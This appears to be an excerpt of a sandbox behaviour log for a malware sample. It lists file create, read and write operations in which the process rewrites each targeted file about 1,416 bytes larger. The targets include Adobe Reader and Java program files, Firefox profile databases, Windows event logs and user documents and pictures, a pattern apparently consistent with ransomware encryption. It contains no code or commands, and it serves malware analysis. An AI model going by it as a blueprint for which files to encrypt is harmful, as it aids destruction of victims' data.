File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\fi-fi\ui-strings.js, size = 1346, size_out = 1346	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\fi-fi\ui-strings.js, size = 2762	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\css\main-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\css\main-selector.css, size = 802, size_out = 802	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\css\main-selector.css, size = 2218	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themes\dark\help.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themes\dark\help.svg, size = 2362, size_out = 2362	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themes\dark\help.svg, size = 3778	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\nl-nl\ui-strings.js, size = 2747, size_out = 2747	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\nl-nl\ui-strings.js, size = 4163	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\version.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\version.js, size = 1373, size_out = 1373	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\version.js, size = 2789	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MinionPro-Bold.otf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MinionPro-Bold.otf, size = 32768, size_out = 32768	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MinionPro-Bold.otf, size = 4096, size_out = 4096	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MinionPro-Bold.otf, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MinionPro-Bold.otf, size = 32768	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\PFM\zy______.pfm, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
For performance reasons, the remaining 1370 entries are omitted. The remaining entries can be found in glog.xml.

Thread 0x1154

2462

0

»

Category	Operation	Information	Count	Logfile
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\secmod.db, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\secmod.db, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\secmod.db, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\secmod.db, size = 4096	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\HV67.xlsx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\HV67.xlsx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Documents\HV67.xlsx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\HV67.xlsx, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\HV67.xlsx, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\xjYLW_hfZv1k8ab.docx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\xjYLW_hfZv1k8ab.docx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\xjYLW_hfZv1k8ab.docx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\xjYLW_hfZv1k8ab.docx, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\xjYLW_hfZv1k8ab.docx, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\qIJWv_cl3Fl.odt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\qIJWv_cl3Fl.odt, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\qIJWv_cl3Fl.odt, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\qIJWv_cl3Fl.odt, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\qIJWv_cl3Fl.odt, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\Words.pdf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\Words.pdf, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\Words.pdf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\Words.pdf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\Words.pdf, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Picture2_80.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Picture2_80.jpg, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Picture2_80.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Picture2_80.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Picture2_80.jpg, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster2x-dark.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster2x-dark.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster2x-dark.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster2x-dark.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster2x-dark.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\compare_poster.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\compare_poster.jpg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\compare_poster.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\compare_poster.jpg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\redact_poster.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\redact_poster.jpg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-DeviceSetupManager%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-DeviceSetupManager%4Operational.evtx, size = 4096	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Pictures\GrlY8zmzECSobnYyDGDm.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Pictures\GrlY8zmzECSobnYyDGDm.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Pictures\GrlY8zmzECSobnYyDGDm.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\GrlY8zmzECSobnYyDGDm.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\GrlY8zmzECSobnYyDGDm.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\$GetCurrent\SafeOS\GetCurrentRollback.ini, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\$GetCurrent\SafeOS\GetCurrentRollback.ini, size = 156, size_out = 156	1	Fn Data
File	Write	filename = C:\$GetCurrent\SafeOS\GetCurrentRollback.ini, size = 1572	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, size = 5512	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, size = 32768	1	Fn Data
File	Create	filename = C:\Logs\Application.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Application.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Application.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Application.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Application.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\ftH86.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\ftH86.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\ftH86.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\ftH86.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Ntfs%4WHC.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Ntfs%4WHC.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Ntfs%4WHC.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Ntfs%4WHC.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Ntfs%4WHC.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-SmbClient%4Security.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-SmbClient%4Security.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-SmbClient%4Security.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-SmbClient%4Security.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-SmbClient%4Security.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\flavormap.properties, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\flavormap.properties, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx, size = 61440	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\java-rmi.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\java-rmi.exe, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\unpack200.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\unpack200.exe, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\klist.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\klist.exe, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\klist.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\klist.exe, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\ssvagent.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\ssvagent.exe, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\ssvagent.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\ssvagent.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\ssvagent.exe, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\GRAY.pf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\GRAY.pf, size = 632, size_out = 632	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\GRAY.pf, size = 2048	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_it.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_it.properties, size = 3223, size_out = 3223	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_it.properties, size = 4639	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash_11-lic.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash_11-lic.gif, size = 7805, size_out = 7805	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash_11-lic.gif, size = 9221	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\nashorn.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\nashorn.jar, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\nashorn.jar, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\nashorn.jar, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\nashorn.jar, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\nashorn.jar, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightDemiItalic.ttf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightDemiItalic.ttf, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightDemiItalic.ttf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightDemiItalic.ttf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightDemiItalic.ttf, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_CopyDrop32x32.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_CopyDrop32x32.gif, size = 165, size_out = 165	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_CopyDrop32x32.gif, size = 1581	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfr\profile.jfc, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfr\profile.jfc, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfr\profile.jfc, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfr\profile.jfc, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\management-agent.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\management-agent.jar, size = 381, size_out = 381	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\management-agent.jar, size = 1797	1	Fn Data
